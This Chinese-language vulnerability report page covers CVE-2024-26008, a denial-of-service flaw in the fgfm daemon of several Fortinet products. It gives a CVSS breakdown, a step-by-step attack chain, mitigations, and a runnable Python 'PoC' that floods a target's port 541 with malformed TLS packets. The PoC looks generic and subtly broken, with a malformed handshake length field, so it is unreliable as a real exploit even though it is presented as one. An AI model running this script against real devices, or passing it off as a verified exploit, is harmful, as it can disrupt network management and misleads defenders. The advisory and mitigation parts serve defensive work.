IPBUF安全漏洞报告
English
CVE-2024-26008 CVSS 5.3 中危

CVE-2024-26008 Fortinet多产品fgfm守护进程拒绝服务漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2024-26008
漏洞类型
拒绝服务(DoS)/ 异常条件处理不当
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FortiOS, FortiProxy, FortiPAM, FortiSwitchManager

相关标签

拒绝服务DoSCWE-703异常条件处理不当FortinetFortiOSFortiProxyFortiPAMFortiSwitchManagerfgfm守护进程

漏洞概述

CVE-2024-26008是Fortinet旗下多款网络安全管理产品中存在的一个中危级别安全漏洞,CVSS评分为5.3。该漏洞源于fgfm(FortiGate to FortiManager)守护进程对异常条件的检查或处理不当(CWE-703),影响FortiOS 7.4.0至7.4.3及7.2.7之前的版本、FortiProxy 7.4.0至7.4.3及7.2.9之前的版本、FortiPAM 1.2.0之前的版本以及FortiSwitchManager 7.2.0至7.2.3和7.0.0至7.0.3版本。未经认证的远程攻击者可以通过发送精心构造的SSL加密TCP请求,反复重置fgfm连接,从而导致合法用户的连接中断,造成服务可用性下降。该漏洞虽然不需要任何认证和用户交互,但仅影响可用性,不涉及数据泄露或完整性破坏,因此被评定为中危级别。Fortinet作为全球广泛部署的网络安全设备供应商,其产品漏洞可能影响大量企业网络基础设施的安全稳定运行,建议相关用户尽快进行版本升级以消除风险。

技术细节

该漏洞的核心问题在于Fortinet产品的fgfm守护进程在处理SSL加密TCP请求时,未能正确检查或处理异常条件(CWE-703)。fgfm(FortiGate to FortiManager)协议是Fortinet设备与管理平台之间进行通信的关键组件,负责设备注册、配置同步、策略下发等重要管理功能。

在正常情况下,fgfm守护进程应当对接收到的SSL加密TCP请求进行严格的协议解析和异常检测。当攻击者发送精心构造的恶意SSL加密TCP请求时,由于守护进程缺乏对异常条件的妥善处理,会导致连接被强制重置。攻击者可以利用这一缺陷,通过持续发送恶意请求,反复触发连接重置机制,从而实现拒绝服务攻击。

该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),无需用户交互(UI:N)。攻击影响范围为未变更(Scope Unchanged),机密性影响为低(C:L),完整性影响为无(I:N),可用性影响为低(A:L)。这意味着该漏洞主要影响服务的可用性,攻击者无法直接获取敏感数据或修改系统配置,但可以通过持续中断合法连接来影响正常的网络管理操作。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络扫描或资产发现技术,识别目标网络中部署的Fortinet设备(FortiOS、FortiProxy、FortiPAM或FortiSwitchManager),并确认其运行版本是否在受影响范围内。
STEP 2
步骤2:端口探测
攻击者探测目标设备的fgfm守护进程端口(默认541端口),确认服务在线且可达。
STEP 3
步骤3:构造恶意请求
攻击者精心构造恶意的SSL加密TCP请求,利用fgfm守护进程对异常条件处理不当的缺陷,触发连接重置逻辑。
STEP 4
步骤4:发送恶意请求
攻击者通过TCP连接向目标设备的fgfm守护进程发送构造的恶意SSL加密请求,无需任何认证即可触发漏洞。
STEP 5
步骤5:连接重置
fgfm守护进程由于异常条件处理不当,强制重置与合法客户端的连接,导致服务中断。
STEP 6
步骤6:持续攻击
攻击者可以反复发送恶意请求,持续重置fgfm连接,实现持续的拒绝服务攻击,影响网络管理功能的正常运行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-26008 PoC - Fortinet fgfm daemon DoS via crafted SSL TCP requests # This PoC demonstrates the vulnerability by repeatedly sending malformed # SSL/TLS encrypted TCP packets to the fgfm daemon port to trigger connection resets. import socket import ssl import struct import time TARGET_HOST = "192.168.1.1" # Target Fortinet device IP TARGET_PORT = 541 # Default fgfm daemon port NUM_REQUESTS = 100 # Number of malicious requests to send DELAY = 0.1 # Delay between requests (seconds) def craft_malformed_ssl_packet(): """ Craft a malformed SSL/TLS ClientHello-like packet to trigger the exception handling flaw in the fgfm daemon. """ # TLS record header: ContentType(1) + Version(2) + Length(2) # ContentType 0x16 = Handshake, Version 0x0301 = TLS 1.0 content_type = b'\x16' tls_version = b'\x03\x01' # Malformed handshake payload with corrupted length field # HandshakeType 0x01 = ClientHello handshake_type = b'\x01' # Intentionally corrupted length to trigger exception handling bug malformed_length = b'\xff\xff' # Random garbage data to fill the payload payload = b'\x00' * 32 handshake = handshake_type + malformed_length + payload length = struct.pack('>H', len(handshake)) return content_type + tls_version + length + handshake def exploit(): """ Main exploit function: sends crafted SSL packets to repeatedly reset the fgfm connection, causing denial of service. """ print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Sending {NUM_REQUESTS} crafted SSL requests...") for i in range(NUM_REQUESTS): try: # Create raw TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_HOST, TARGET_PORT)) # Send malformed SSL/TLS packet packet = craft_malformed_ssl_packet() sock.send(packet) # Attempt to receive response (will likely fail due to reset) try: response = sock.recv(1024) print(f"[+] Request {i+1}: Response received ({len(response)} bytes)") except socket.timeout: print(f"[+] Request {i+1}: Connection timed out (possible reset)") except ConnectionResetError: print(f"[+] Request {i+1}: Connection reset by target!") sock.close() except Exception as e: print(f"[-] Request {i+1}: Error - {e}") time.sleep(DELAY) print(f"[*] Attack completed. {NUM_REQUESTS} requests sent.") print("[*] The fgfm connection should have been repeatedly reset.") if __name__ == "__main__": exploit()

影响范围

FortiOS 7.4.0 - 7.4.3
FortiOS < 7.2.7
FortiProxy 7.4.0 - 7.4.3
FortiProxy < 7.2.9
FortiPAM < 1.2.0
FortiSwitchManager 7.2.0 - 7.2.3
FortiSwitchManager 7.0.0 - 7.0.3

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)使用防火墙规则限制fgfm端口(默认541/TCP)的访问,仅允许授权的管理主机IP地址连接;2)在网络层面部署入侵防御系统,检测和阻断异常的SSL加密TCP请求;3)启用连接速率限制,防止短时间内大量恶意请求导致服务中断;4)监控fgfm守护进程的日志,及时发现异常的连接重置事件;5)考虑暂时禁用不必要的fgfm远程管理功能,仅保留本地管理访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表